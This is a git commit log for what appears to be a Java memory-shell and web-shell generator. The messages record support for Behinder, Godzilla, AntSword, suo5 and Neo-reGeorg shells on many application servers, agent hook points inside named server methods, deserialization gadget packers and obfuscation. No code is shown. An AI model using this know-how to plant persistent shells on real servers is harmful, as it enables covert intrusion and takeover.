ReaJason feb5a2b44a ci: support release maven deploy 2025-04-06 13:55:17 +08:00
ReaJason bc5e813064 docs: update CHANGELOG 2025-04-06 13:55:17 +08:00
ReaJason bfb7280c47 docs: add sdk usage example 2025-04-06 13:55:17 +08:00
ReaJason 8c9cb252db test: revert error 2025-04-06 13:55:17 +08:00
ReaJason a441e468fb test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason f280cddb67 build(ui): module not found 2025-04-06 13:55:17 +08:00
ReaJason b6de448171 test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason 81f42aae39 ci: update name 2025-04-06 13:55:17 +08:00
ReaJason da5db939be feat: support maven deploy 2025-04-06 13:55:17 +08:00
ReaJason e1540f1c05 refactor: use Jackson not Fastjson for smaller jar size 2025-04-06 13:55:17 +08:00
ReaJason accf83ac9d refactor: remove codec dependency 2025-04-06 13:55:17 +08:00
ReaJason f57ee7536c fix: use snapshot version for dev 2025-04-06 13:55:17 +08:00
ReaJason ffd2a636f4 refactor: rename modules 2025-04-06 13:55:17 +08:00
ReaJason 6b47b8e488 feat: support random param and default config (#50) 2025-04-06 13:55:17 +08:00
ReaJason 85e9eb8c70 refactor: use react router 2025-04-06 13:55:17 +08:00
ReaJason 47ea535fac revert: obfuscation (#13) 2025-04-06 13:55:17 +08:00
ReaJason 540559653f chore: upgrade ui components 2025-04-06 13:55:17 +08:00
ReaJason 8a0e3ee5de fix: behinder payload classname is invalid 2025-04-06 13:55:17 +08:00
ReaJason bc9ce37a52 feat: add three implementations for agent memshell 2025-04-06 13:55:17 +08:00
ReaJason 02c7abd086 feat: support CC payload generate 2025-04-06 13:55:17 +08:00
ReaJason 8eab3f5633 docs: update screenshots 2025-03-30 16:31:32 +08:00
ReaJason 0f03072b56 docs: update README 2025-03-30 16:17:55 +08:00
ReaJason 2f59fc80fb docs: update CHANGELOG 2025-03-30 15:33:31 +08:00
ReaJason 901a2b3af0 test: not support obfuscation for jetty suo5 filter 2025-03-30 15:33:31 +08:00
ReaJason 8deff1c8d9 feat: add Godzilla MethodVisitor (but not working for now) 2025-03-30 15:33:31 +08:00
ReaJason ad05c8f2da feat: support simple obfuscation (#13) 2025-03-30 15:33:31 +08:00
ReaJason e228065aa0 test: support advisor and asm agent unit test 2025-03-30 15:33:31 +08:00
ReaJason af0135286d test: update docker-compose yaml 2025-03-30 15:33:31 +08:00
ReaJason 722da5560e docs: update README 2025-03-30 15:33:31 +08:00
ReaJason b6e34e4beb refactor: extract method 2025-03-30 15:33:31 +08:00
ReaJason 3ced92f2d0 feat: support asm relocate to ignore server inner asm 2025-03-30 15:33:31 +08:00
ReaJason 476d92f173 chore: update .gitignore 2025-03-30 15:33:31 +08:00
ReaJason 3c7fd8aca5 test: weblogic 14 asm not work on asm 9 2025-03-30 15:33:31 +08:00
ReaJason c93ab0e7e0 feat: support other server command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 89cd4fef62 feat: support jetty command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason e6d9ddb210 build: cannot find symbol 2025-03-30 15:33:31 +08:00
ReaJason a042900052 feat: support undertow agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 23d3628786 test: glassfish3 internal asm version too low 2025-03-30 15:33:31 +08:00
ReaJason 4a9217aa3a feat: add agent memshell playground (#51) 2025-03-30 15:33:31 +08:00
ReaJason dd4832a5a8 feat: support command agent with asm on filterChain and contextValve (#51) 2025-03-30 15:33:31 +08:00
ReaJason db579ce39e chore: update dep 2025-03-30 15:33:31 +08:00
ReaJason 4c70dc9148 docs: update 2025-03-30 15:33:31 +08:00
ReaJason d97ddbd1cc perf: simplify jetty getContext method 2025-03-30 15:33:31 +08:00
ReaJason b8e91a3697 style: react component prop readonly 2025-03-30 15:33:31 +08:00
ReaJason 5d97780e34 fix: dev version no update 2025-03-30 15:33:31 +08:00
ReaJason a7751a0467 ci: add dev auto deploy 2025-03-30 15:33:31 +08:00
ReaJason 5abaa5bbc1 feat: support custom shell generator (#49) 2025-03-30 15:33:31 +08:00
ReaJason b3780135bb chore: upgrade dep 2025-03-30 15:33:31 +08:00
ReaJason c1fefd3510 chore: rm files 2025-03-30 15:33:31 +08:00
ReaJason ff70a5f2fe ci: rm useless steps 2025-03-09 02:14:02 +08:00
ReaJason d7faa6a59f build: reduce image size 2025-03-09 02:13:35 +08:00
ReaJason 675272a04c docs: update CHANGELOG 2025-03-01 23:16:31 +08:00
ReaJason a284cbbd02 chore: enhance phone ui 2025-03-01 23:11:41 +08:00
ReaJason 9073a97eec feat(ui): support show update button 2025-03-01 23:11:41 +08:00
ReaJason de2864b892 ci: release body add update steps [skip ci] 2025-03-01 23:11:40 +08:00
ReaJason 49819156ab fix(ui): generate fail 2025-02-28 23:25:28 +08:00
ReaJason 452e057bd1 fix: NeoreGeorg proxy not work 2025-02-28 23:24:31 +08:00
ReaJason dfd6328494 style: format code 2025-02-28 22:44:10 +08:00
ReaJason b78f5dad1c chore: upgrade Gradle 8.13 2025-02-28 22:41:09 +08:00
ReaJason fefe25cbce refactor(ui): separate each component into single file 2025-02-28 22:40:45 +08:00
ReaJason 30a141c8d4 fix: use server shell tool order 2025-02-28 22:40:45 +08:00
ReaJason c95a6da29f refactor: simplify valve shell code 2025-02-28 22:40:45 +08:00
ReaJason 688de30965 test: add SpringBoot1 vul case (resolved #22) 2025-02-28 22:40:45 +08:00
ReaJason b7c6303966 feat: support Neo-reGeorg shell generate (#35) 2025-02-28 22:35:14 +08:00
ReaJason e6d1aeac3c docs: update screenshots 2025-02-27 00:30:01 +08:00
ReaJason 4f58e13c00 docs: update CHANGELOG 2025-02-26 20:47:05 +08:00
ReaJason a47033d051 test: default shrink enabled 2025-02-26 20:47:05 +08:00
ReaJason 0192aa58ea test: war file error 2025-02-26 20:24:59 +08:00
ReaJason 00b807f5f8 feat: support Tomcat Jakarta WebSocket 2025-02-26 20:21:25 +08:00
ReaJason cd189a74f7 build(ui): enahnce cross-platform dx 2025-02-26 20:20:49 +08:00
ReaJason 690cfb833f fix: custom injectorClassName not work 2025-02-26 20:20:03 +08:00
ReaJason 45f2bb148d feat: support bytecode shrink
1. remove source file symbol (#46)
2. remove debug info when enable shrink (#29)
2025-02-26 20:19:30 +08:00
ReaJason e7a14bf2e3 test: test compile error 2025-02-26 20:13:53 +08:00
ReaJason 28fb25781b ci: release body is empty 2025-02-25 01:59:45 +08:00
ReaJason 58f471ca2c docs: update README 2025-02-25 01:41:40 +08:00
ReaJason db87c3f317 test: test order list is important 2025-02-25 01:41:28 +08:00
ReaJason 5635deff23 test: random name hit key words 2025-02-25 00:45:20 +08:00
ReaJason bda018b93f docs: update CHANGELOG 2025-02-25 00:39:24 +08:00
ReaJason 4d36c0bc8f docs: add Dockerfile build steps (resolved #44) 2025-02-25 00:31:08 +08:00
ReaJason ad4a0cf2bf ci: rm useless arg 2025-02-25 00:14:24 +08:00
ReaJason 9c820f9d29 build: build docker image with one Dockerfile (#44) 2025-02-25 00:14:11 +08:00
ReaJason a48442fcab build: optimize copy html script 2025-02-25 00:12:38 +08:00
ReaJason 68791f6c15 chore: update deps 2025-02-25 00:11:37 +08:00
ReaJason 479b2a0c16 fix: tomcat WebSocket shell not work (#25) 2025-02-25 00:11:16 +08:00
ReaJason a148fa1cb9 refactor: move class 2025-02-25 00:09:44 +08:00
ReaJason 116f1034b0 test: fix failed cases 2025-02-23 18:11:49 +08:00
ReaJason db55765fdf chore: update gitignore 2025-02-23 16:58:28 +08:00
ReaJason 8b67d639bd build: support auto download toolchains 2025-02-23 16:53:01 +08:00
ReaJason cead11c781 docs: add local build command 2025-02-23 16:51:22 +08:00
ReaJason 43dc5ca398 build(boot): Dockerfile support BOOT_OPTS env 2025-02-23 16:45:27 +08:00
ReaJason ede78f3efc refactor: supported unified test cases provider 2025-02-23 16:44:35 +08:00
ReaJason 72370a3b84 build(ui): support base_path 2025-02-23 02:33:09 +08:00
ReaJason ad248f0703 fix(ui): version show html when it failed 2025-02-23 02:33:09 +08:00
ReaJason 358f66ff01 feat: support shell registry for all server 2025-02-23 02:33:09 +08:00
ReaJason 76a78f14e0 refactor: simplify valve shell register 2025-02-23 02:33:09 +08:00
ReaJason 33a9008ecb chore: rm debug log 2025-02-23 02:33:09 +08:00
ReaJason b27b40c543 refactor: optimize import 2025-02-23 02:33:09 +08:00
ReaJason 74cc792dc6 test: rm log 2025-02-23 02:33:09 +08:00
ReaJason 348e86079a refactor: move members 2025-02-23 02:33:09 +08:00
ReaJason d4160d9a94 fix: undertow listener failed 2025-02-23 02:33:09 +08:00
ReaJason 19c40e0e2d refactor: rm useless code 2025-02-23 02:33:09 +08:00
ReaJason b49af93bec test: class import error 2025-02-23 02:33:09 +08:00
ReaJason d9e3e03def refactor: simplify memshell generate map register 2025-02-23 02:33:09 +08:00
ReaJason bba2b2d211 ci: set-output command is deprecated 2025-02-23 02:33:09 +08:00
ReaJason 56f0e8001d ci: optimize docker push order 2025-02-23 02:33:09 +08:00
ReaJason 2f80ecb020 ci: change scripts location 2025-02-23 02:33:09 +08:00
ReaJason b3bda20f2c fix(ui): shell type not reset when server changed 2025-02-21 00:32:24 +08:00
ReaJason be5a2089d2 ci: support jar file release 2025-02-21 00:16:48 +08:00
ReaJason 9d2e8125d9 fix: remove log 2025-02-20 23:59:23 +08:00
ReaJason 8964769be8 docs: update CHANGELOG 2025-02-20 23:53:26 +08:00
ReaJason 3acab6e620 feat: add loading component 2025-02-20 23:52:02 +08:00
ReaJason 5148414ca8 fix(ui): shell type not changed when server changed 2025-02-20 23:45:52 +08:00
ReaJason 0b10a55f66 test: change deserialize image name 2025-02-20 23:32:00 +08:00
ReaJason cbf2d02808 docs: update 2025-02-20 23:19:07 +08:00
ReaJason 775fc38abe ci: not run test in tag push [skip ci] 2025-02-20 23:19:07 +08:00
ReaJason 6b3f4a2606 chore: remove redundant dep 2025-02-20 23:13:23 +08:00
ReaJason 52c720572f fix(ui): packResult not changed when regenerate 2025-02-20 22:28:34 +08:00
ReaJason 5e2242665b chore: gradle 8.12.1 2025-02-20 22:28:34 +08:00
ReaJason cdd145d0b2 chore: rm socket dep 2025-02-20 22:28:34 +08:00
ReaJason 18aa8ed60d feat: support hessian packer (#36) 2025-02-20 22:28:34 +08:00
ReaJason 3e40763724 refactor: rename class 2025-02-20 22:04:00 +08:00
ReaJason eda6134262 chore: upgrade testcontainers and junit 2025-02-20 21:56:42 +08:00
ReaJason 9d81160b33 docs: update CHANGELOG 2025-02-19 22:21:17 +08:00
ReaJason 115b57c62e test: deserialize test container startup failed 2025-02-19 22:21:17 +08:00
ReaJason 1b8a845635 feat: enhance responsive layout and improve i18n support (#39) 2025-02-19 22:21:17 +08:00
ReaJason 3ccbd14256 fix: cb110 serializeVersionUID change failed 2025-02-19 22:21:17 +08:00
ReaJason 56510c89db test: add CB4 multi version gadgets integration test 2025-02-19 22:21:17 +08:00
ReaJason 358184f71b test: use annotation to simplify register servlet 2025-02-19 22:21:17 +08:00
ReaJason 6ee9e31aa8 ci: skip png file push 2025-02-19 00:30:01 +08:00
ReaJason 501f7a2d10 docs: update screenshots 2025-02-19 00:25:31 +08:00
ReaJason 8b3c23241a docs: update CHANGELOG 2025-02-19 00:10:04 +08:00
ReaJason 3af560a5e0 docs: add changelog 2025-02-19 00:04:29 +08:00
ReaJason a8d1b5e29a fix: keyword is not allowed for classname 2025-02-19 00:04:29 +08:00
ReaJason 21f9af2f70 test: rm failed case 2025-02-19 00:04:29 +08:00
ReaJason 583abbf9ba feat: support AntSword shell generate (#34) 2025-02-19 00:04:29 +08:00
ReaJason e71f980991 feat: support cb4 other version payload packers 2025-02-19 00:04:29 +08:00
ReaJason d9c3bcb5dd docs: fix typo 2025-02-17 22:39:09 +08:00
ReaJason 61905e35ca docs: change notes location 2025-02-16 00:08:15 +08:00
ReaJason 27f3a7b206 docs: update badges 2025-02-15 23:45:43 +08:00
ReaJason bcb9d23f64 docs: update README 2025-02-15 23:31:52 +08:00
ReaJason d993a54fa9 fix: optimize form fields reset 2025-02-15 14:12:26 +08:00
ReaJason 7eb8baeaf2 docs: update CHANGELOG 2025-02-15 13:50:04 +08:00
ReaJason 591375f522 docs: update README 2025-02-15 13:50:04 +08:00
ReaJason 6436d404d7 ci: test not run in other branck 2025-02-15 13:50:04 +08:00
ReaJason ef487f86d2 build: version not work in IDEA 2025-02-15 13:50:04 +08:00
ReaJason 011f919e2a chore: upgrade to Tailwind CSS v4 2025-02-15 13:50:04 +08:00
ReaJason f8624f0e72 fix: sonner theme not work 2025-02-15 13:50:04 +08:00
ReaJason b287fcd36f feat(ui): support suo5 generate 2025-02-15 13:50:04 +08:00
ReaJason 7fb404f04f feat: support other middleware suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason 45dc276300 feat: support tomcat suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason e811ca56ae docs: update README 2025-02-03 01:46:07 +08:00
ReaJason 58dd08754d ci: parse changelog failed 2025-02-03 01:24:13 +08:00
ReaJason 6145918df7 ci: release body is empty 2025-02-03 01:10:28 +08:00
ReaJason 6671dec9e6 build: boot docker build error 2025-02-03 00:47:12 +08:00
ReaJason f53c0655d4 ci: add needs 2025-02-03 00:35:51 +08:00
ReaJason 1bcecaa151 ci: do not run test in release ci 2025-02-03 00:35:34 +08:00
ReaJason e21b397699 docs: add v1.0.0 changelog 2025-02-03 00:26:50 +08:00
ReaJason cd870594b0 ci: add release ci 2025-02-03 00:26:35 +08:00
ReaJason 067dae90ff feat: add version badge in ui 2025-02-03 00:25:45 +08:00
ReaJason 69b5b5e99f ci: rm coverage 2025-02-02 22:22:40 +08:00
ReaJason 29edaf173a chore: unify project version 2025-02-02 22:20:47 +08:00
ReaJason 4f8ab4d16a ci: auto deploy [skip ci] 2025-02-02 17:40:44 +08:00
ReaJason ee3bab6876 ci: image name error [skip ci] 2025-02-02 15:28:45 +08:00
ReaJason 6523ecd554 ci: syntax error [skip ci] 2025-02-02 15:22:16 +08:00
ReaJason f97c0cd3db ci: fetch depth 0 [skip ci] 2025-02-02 15:18:21 +08:00
ReaJason 7da215bd35 ci: add GitHub container docker push 2025-02-02 15:18:05 +08:00
ReaJason 8171da5df3 refactor: rename packer 2025-01-30 20:49:56 +08:00
ReaJason 92e38ae004 feat: support bsh packer 2025-01-30 18:09:44 +08:00
ReaJason 6113ea717f feat: support rhino and jinjava packer 2025-01-30 17:24:14 +08:00
ReaJason a6cc7705c3 ci: update badge 2025-01-29 14:19:20 +00:00
ReaJason 84b884a3d8 feat: support more expression packer 2025-01-29 22:05:25 +08:00
ReaJason 828b7b8400 refactor: simplify expression packer 2025-01-29 19:58:02 +08:00
ReaJason 786e58cafc feat: support mvel packer 2025-01-29 19:54:17 +08:00
ReaJason 5ce3e67dc4 docs: update screenshots 2025-01-29 11:39:36 +08:00
ReaJason 94e29588bb fix: build error 2025-01-27 17:42:05 +08:00
ReaJason fa1ca573ae ci: update badge 2025-01-27 09:24:30 +00:00
ReaJason 78795f3b95 test: build error 2025-01-27 17:07:18 +08:00
ReaJason 3efe814d30 feat: support multi payload generate 2025-01-27 17:02:32 +08:00
ReaJason 8d7ed8c4ee refactor: shell mount type ordered 2025-01-27 16:24:27 +08:00
ReaJason cc58c2ef87 ci: update badge 2025-01-25 12:47:36 +00:00
ReaJason 4f69497680 refactor: use platform to manage dependency
1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)
2025-01-25 20:30:08 +08:00
ReaJason c046d466db ci: update badge 2025-01-23 00:34:16 +00:00
ReaJason 9291281a4e refactor: simplify XXLJOB packer 2025-01-23 08:25:44 +08:00
ReaJason 50234947b7 ci: update badge 2025-01-22 11:03:35 +00:00
ReaJason 075ce8c515 test: resin and jetty failed 2025-01-22 18:50:25 +08:00
ReaJason ca4c1d6e4b feat: support xxl-job executor NettyHandler (#30)
Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
2025-01-22 18:36:19 +08:00
ReaJason d4067caee5 feat: support jar packer 2025-01-22 18:29:42 +08:00
ReaJason cf65fbb53c feat: support GZIPBase64 packer 2025-01-22 18:29:42 +08:00
ReaJason 962914fa8d fix: build error 2025-01-20 00:39:14 +08:00
ReaJason f90f0f0713 feat: support i18n [skip ci] 2025-01-20 00:34:10 +08:00
ReaJason a64238eea0 docs: update README 2025-01-18 20:25:54 +08:00
ReaJason ce11635876 ci: update badge 2025-01-18 12:24:05 +00:00
ReaJason 1015c55b6d test: npe 2025-01-18 20:14:47 +08:00
ReaJason 8ed16fc818 docs: update screenshots 2025-01-18 20:00:40 +08:00
ReaJason 24a9b563e6 refactor: enhance web ux 2025-01-18 20:00:24 +08:00
ReaJason 8d5af74733 fix: tomcat filter shell not work
tomcat filter shell classname startsWith org.apache.catalina.web.handlers will not work
2025-01-18 19:54:04 +08:00
ReaJason 363d0591dc refactor: rename webflux 2025-01-18 18:28:46 +08:00
ReaJason fe1a443c0d refactor: rename springwebmvc 2025-01-18 18:28:46 +08:00
ReaJason 113b174837 feat: support springwebmvc agent shell
1. hook point is org.springframework.web.servlet.FrameworkServlet.service
2025-01-18 18:28:46 +08:00
ReaJason f42424ba7c ci: update badge 2025-01-09 17:37:27 +00:00
ReaJason 19ecd109fc Revert "fix: GlassFish war deploy failed"
This reverts commit 974cf3ccaa.
2025-01-10 01:28:08 +08:00
ReaJason 9f763906ae docs: update README 2025-01-10 01:15:49 +08:00
ReaJason be91430bd5 feat: support JBossAS contextValve agent shell 2025-01-10 01:15:40 +08:00
ReaJason 5bed6c877d feat: suport bes agent shell 2025-01-10 01:07:34 +08:00
ReaJason 633508ceda feat: support TongWeb agent shell 2025-01-10 00:56:58 +08:00
ReaJason e26cb37805 fix: GlassFish war deploy failed 2025-01-10 00:56:26 +08:00
ReaJason 3efda487e9 feat: support inforsuite agent shell 2025-01-10 00:56:26 +08:00
ReaJason f92d7207c8 feat: support GlassFish agent shell (#23)
1. hook point1 is org.apache.catalina.core.ApplicationFilterChain.doFilter
2. hook point2 is org.apache.catalina.core.StandardContextValve.invoke
3. GlassFish use osgi module, cipher class not in web-core, so that should use ContextClassLoader (resolved #23)
2025-01-10 00:56:26 +08:00
ReaJason 5540016f12 feat: support tomcat context valve agent shell 2025-01-10 00:56:26 +08:00
ReaJason 0402065457 ci: update badge 2025-01-08 17:15:41 +00:00
ReaJason 9fae3847ae docs: update README 2025-01-09 01:06:33 +08:00
ReaJason f4bc254ed3 feat: support jetty agent shell (#19)
1. hook point is org.eclipse.jetty.servlet.ServletHandler.doHandle
2. it doesn't support jetty6, org.mortbay.jetty.servlet.ServletHandler#handle, because ldc visit cannot support java1.4
2025-01-09 01:04:31 +08:00
ReaJason a1d4a6d8fa docs: update README 2025-01-08 00:03:05 +08:00
ReaJason 7afa5d97f6 ci: update badge 2025-01-07 15:39:06 +00:00
ReaJason a6f5ee96d6 feat: support undertow agent shell (#21)
1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21
2. fix godzilla payload error in some module system that cost my five hour to debug
2025-01-07 23:26:59 +08:00
ReaJason 1f04701cc1 ci: update badge 2025-01-07 13:27:17 +00:00
ReaJason b272c9739b ci: was7 failed 2025-01-07 21:18:32 +08:00
ReaJason b5903f39fa test: unit test npe 2025-01-07 20:44:05 +08:00
ReaJason 99c53b6287 feat: support resin agnet shell(#20)
hook point is com.caucho.server.dispatch.FilterFilterChain.doFilter (resolved #20)
2025-01-07 20:28:51 +08:00
ReaJason 1dfc28cd33 feat: support jbossas agent shell 2025-01-07 10:02:51 +08:00
ReaJason c44ae3ad4f test: add nettyHandler test 2025-01-07 10:02:51 +08:00
ReaJason b5031012ba feat: use ldc and reflection (#26)
1. remove servlet-api dependency
2. remove class reference (resolved #26), but it doesn't work for java4
2025-01-07 10:02:51 +08:00
ReaJason 5340de9b71 fix: change weblogic agent hook 2025-01-07 10:02:51 +08:00
ReaJason f71657b11c fix: was7 agent shell fail sometime 2025-01-07 10:02:51 +08:00
ReaJason d6612d7630 ci: update badge 2025-01-05 07:54:03 +00:00
ReaJason 858212cd9c docs: update CONTRIBUTING 2025-01-05 15:44:57 +08:00
ReaJason 8e36beaad1 feat: support webflux netty shell (#8) 2025-01-05 15:44:43 +08:00
ReaJason d511a8346f test: add websphere7 integration test (resolved #16) 2025-01-04 23:24:11 +08:00
ReaJason b8116ac0a5 docs: update README 2025-01-04 11:26:41 +08:00
ReaJason 155310a685 ci: update badge 2025-01-04 03:24:26 +00:00
ReaJason a6a1cff2c4 ci: websphere agent test failed 2025-01-04 11:18:03 +08:00
ReaJason 7ae28d5457 fix: build error 2025-01-04 10:51:45 +08:00
ReaJason 8a909971f1 ci: only support manually push 2025-01-04 10:48:57 +08:00
ReaJason 371402c144 feat: support was and weblogic agent shell 2025-01-03 22:05:54 +08:00
ReaJason 2b34b80e40 feat: tomcat agent support jdk6 2025-01-03 02:16:51 +08:00
ReaJason b694073f33 ci: update badge 2025-01-02 17:32:12 +00:00
ReaJason 2f2ef8a774 fix: boot jar dependencies copy error 2025-01-03 01:25:45 +08:00
ReaJason 86734f8485 ci: update badge 2025-01-02 16:50:43 +00:00
ReaJason 393693b89b fix: spring shell generate error 2025-01-03 00:43:03 +08:00
ReaJason 2da2e180cb feat: support tomcat agent shell (resolved #12) 2025-01-03 00:25:56 +08:00
ReaJason 8e741b6647 style(ui): unify font size 2024-12-31 12:07:56 +08:00
ReaJason 717c81571b fix: copyToClipboard button not work 2024-12-31 11:41:08 +08:00
ReaJason 2ec43d97dd ci: add unit test for boot 2024-12-31 01:21:21 +08:00
ReaJason c9a536d2fd fix: boot run failed 2024-12-30 23:20:16 +08:00
ReaJason 74a919c6ec docs: update 2024-12-28 01:11:23 +08:00
ReaJason e123c7485e docs: update README 2024-12-28 01:03:23 +08:00
ReaJason d6d10dead0 ci: update badge 2024-12-27 16:58:31 +00:00
ReaJason 696814fd2c refactor: simplify code 2024-12-28 00:52:28 +08:00
ReaJason 87147d738a feat: support apusic shell generate (#10) 2024-12-27 20:39:09 +08:00
ReaJason c205e69563 docs: update screenshot [skip ci] 2024-12-27 01:02:02 +08:00
ReaJason dddbc15dd8 docs: update README 2024-12-27 00:57:59 +08:00
ReaJason 77ae8c1559 docs: update README 2024-12-27 00:45:54 +08:00
ReaJason 3fe380ef8a ci: update badge 2024-12-26 15:52:46 +00:00
ReaJason a54c307bd5 feat: support tongweb shell generate (resolved #11) 2024-12-26 23:45:58 +08:00
ReaJason 3d14f0113e perf: support bes symbol name 2024-12-26 21:54:18 +08:00
ReaJason b1d449538d refactor: rename [skip ci] 2024-12-26 21:46:21 +08:00
ReaJason 4f1634a843 ci: update badge 2024-12-26 13:40:42 +00:00
ReaJason 8fe2b47805 fix: glassfish7 listener failed 2024-12-26 21:34:26 +08:00
ReaJason c30e99a92c docs: update README 2024-12-26 21:19:51 +08:00
ReaJason 5f4880e72a feat: support bes shell generate (#9) 2024-12-26 21:19:51 +08:00
ReaJason b7326a386b refactor: simplify code 2024-12-26 21:19:51 +08:00
ReaJason 6b9655bb6c docs: update issue templates [skip ci] 2024-12-26 01:12:03 +08:00
ReaJason f9b109d922 ci: update badge 2024-12-25 17:05:07 +00:00
ReaJason ee82fc102d feat: support spring webflux shell generate (resolved #6) 2024-12-26 00:59:24 +08:00
ReaJason cfa4bfdb1d ci: support manually run build ci [skip ci] 2024-12-24 22:55:02 +08:00
ReaJason 889d1d87c7 docs: update README 2024-12-24 22:50:10 +08:00
ReaJason bea468a311 feat: add copy button for className 2024-12-24 22:50:10 +08:00
ReaJason e31d8e751d chore(web): upgrade dependencies 2024-12-24 22:50:10 +08:00
ReaJason 92bda08567 ci: update badge 2024-12-24 13:32:37 +00:00
ReaJason d052177731 test: change vul war location 2024-12-24 21:26:39 +08:00
ReaJason 76dab18099 feat: support weblogic servlet (resolved #5) 2024-12-24 21:09:49 +08:00
ReaJason 6e729d0e35 docs: update README 2024-12-24 02:40:31 +08:00
ReaJason 328939db6a ci: update badge 2024-12-23 18:37:18 +00:00
ReaJason 32c5242c52 ci: add weblogic test 2024-12-24 02:30:14 +08:00
ReaJason c860bbfd87 feat: support inforsuite shell generate 2024-12-24 02:26:30 +08:00
ReaJason b32c9e701e feat: support weblogic filter listener (#5) 2024-12-24 02:09:39 +08:00
ReaJason 41c193074e refactor: rename class 2024-12-24 00:15:12 +08:00
ReaJason eaf6a81c85 fix: behinder response wrapper 2024-12-22 20:49:56 +08:00
ReaJason 22392829e5 docs: update README 2024-12-22 18:15:08 +08:00
ReaJason 65a7fd46e3 ci: update badge 2024-12-22 10:04:25 +00:00
ReaJason 7dd02f4431 fix: boot-ui not behinder select option 2024-12-22 17:58:49 +08:00
ReaJason 54f38e48d2 feat: boot-ui support behinder 2024-12-22 17:37:21 +08:00
ReaJason c232e64b13 ci: update badge 2024-12-22 08:58:01 +00:00
ReaJason 78e9401492 fix: behinder outputStream methodNotFound 2024-12-22 16:51:24 +08:00
ReaJason a5c8058cad test: vul file not found 2024-12-22 16:41:36 +08:00
ReaJason 3189ef8f70 feat: support springmvc shell generate 2024-12-22 16:29:02 +08:00
ReaJason c859655e3a refactor: change vul modules structure 2024-12-22 10:42:48 +08:00
ReaJason 1272ee46b4 docs: update README 2024-12-22 01:35:24 +08:00
ReaJason b83a72a3c8 docs: update README [skip ci] 2024-12-22 01:23:17 +08:00
ReaJason 89e4c796b4 chore: upgrade gradle 8.12 2024-12-22 01:23:03 +08:00
ReaJason ff3c1f2c49 ci: update badge 2024-12-21 16:20:43 +00:00
ReaJason 2dc406df34 test: skip jboss4 behinder test (it does'n work) 2024-12-22 00:15:27 +08:00
ReaJason 6c23a15034 feat: support behinder shell generate 2024-12-22 00:05:01 +08:00
ReaJason 6b81791ff5 ci: update badge 2024-12-21 12:59:02 +00:00
ReaJason 6ba96f5e5a test: speedup glassfish4 container 2024-12-21 20:53:21 +08:00
ReaJason 21df9f8273 feat: support websphere shell generate (#2) 2024-12-21 19:54:31 +08:00
ReaJason 4219f1ba9d ci: update badge 2024-12-21 07:20:57 +00:00
ReaJason 0d69049506 feat: support resin servlet (#2) 2024-12-21 14:51:12 +08:00
ReaJason 385e1e0102 ci: update badge 2024-12-21 06:19:16 +00:00
ReaJason 12fde31663 feat: support undertow servlet (#2) 2024-12-21 14:13:49 +08:00
ReaJason 9f1f4b76aa ci: update badge 2024-12-20 17:30:55 +00:00
ReaJason 4d1291f209 test: glassfish4 use jdk8 2024-12-21 01:25:58 +08:00
ReaJason 43653b2a1b ci: glassfish 3 and 4 not stable 2024-12-21 00:43:13 +08:00
ReaJason 514f13f515 feat: support jetty servlet (#2) 2024-12-21 00:42:53 +08:00
ReaJason ff69716423 fix: jetty filter isInjected not work 2024-12-21 00:42:10 +08:00
ReaJason fc431b9ace ci: build workflow should behind test 2024-12-20 23:39:48 +08:00
ReaJason 944e72f8c5 test: jboss7+ not deserialize failed 2024-12-20 23:39:29 +08:00
ReaJason 7be31dc481 test: unit test symbol not found 2024-12-20 23:31:36 +08:00
ReaJason dfc714862e feat: support tomcat websocket shell 2024-12-20 23:28:30 +08:00
ReaJason c7c4b8be84 refactor: unify code style 2024-12-20 23:26:13 +08:00
ReaJason 75019e9847 docs: update README 2024-12-20 02:34:05 +08:00
ReaJason c6f13dde5e ci: bun run failed 2024-12-20 02:33:37 +08:00
ReaJason fcbec8db19 ci: boot build failed 2024-12-20 01:38:13 +08:00
ReaJason b9f307dd7b ci: update badge 2024-12-19 17:38:04 +00:00
ReaJason a895826bdb fix: file name error 2024-12-20 01:32:11 +08:00
ReaJason 527dad824e ci: build failed 2024-12-20 01:24:31 +08:00
ReaJason 534db31fa0 feat: support boot-ui 2024-12-20 01:15:12 +08:00
ReaJason 2b00c96a06 feat: support tomcat11-jre21 2024-12-20 01:09:34 +08:00
ReaJason 22e3b9ab24 docs: add TG group 2024-12-16 23:38:13 +08:00
ReaJason 901483c1db docs: add CONTRIBUTE.md [skip ci] 2024-12-15 20:14:06 +08:00
ReaJason c9351dcd68 ci: run all integration-test as posible 2024-12-15 20:13:10 +08:00
ReaJasonandReaJason 845fbd5529 feat: add tomcat servlet shell (#2) (#3)
* feat: support tomcat servlet shell

* test: glassfish 3 and 4 not work

* ci: update badge

---------

Co-authored-by: ReaJason <[email protected]>
2024-12-15 16:02:22 +08:00
ReaJason fe2192396a ci: cancel if new push 2024-12-15 09:53:20 +08:00
ReaJason 63c0d89462 refactor: code format 2024-12-15 09:52:09 +08:00
ReaJason 2436c707db Update issue templates [skip ci] 2024-12-15 01:26:30 +08:00
ReaJason c49d3e1909 ci: update badge 2024-12-14 17:17:50 +00:00
ReaJason 7f9276364a test: glassfish 3 and 4 not work 2024-12-15 01:12:20 +08:00
ReaJason 57feb7809c feat: support payara shell generate 2024-12-15 01:03:00 +08:00
ReaJason 6e330bb9c1 ci: update badge 2024-12-14 13:53:00 +00:00
ReaJason 8fcca5b70e test: glassfish3 not started 2024-12-14 21:47:22 +08:00
ReaJason f3b3ca7b2e test: glassfish4 not started 2024-12-14 21:41:17 +08:00
ReaJason 5ec6f6c3cc fix: jboss6 scan overflow with spring 2024-12-14 21:32:57 +08:00
ReaJason 699169d277 fix: tomcat6 jsp LinkageError 2024-12-14 20:40:18 +08:00
ReaJason 6197d66ee8 ci: add resin test 2024-12-14 20:05:21 +08:00
ReaJason 7efbff4a45 fix: unit test error 2024-12-14 20:04:49 +08:00
ReaJason 37e336e088 fix: compile error 2024-12-14 19:54:39 +08:00
ReaJason 65fb0a05df fix: jetty11 jsp not work 2024-12-14 19:52:15 +08:00
ReaJason 6bdc47a7d5 refactor: deserialize 2024-12-14 19:34:06 +08:00
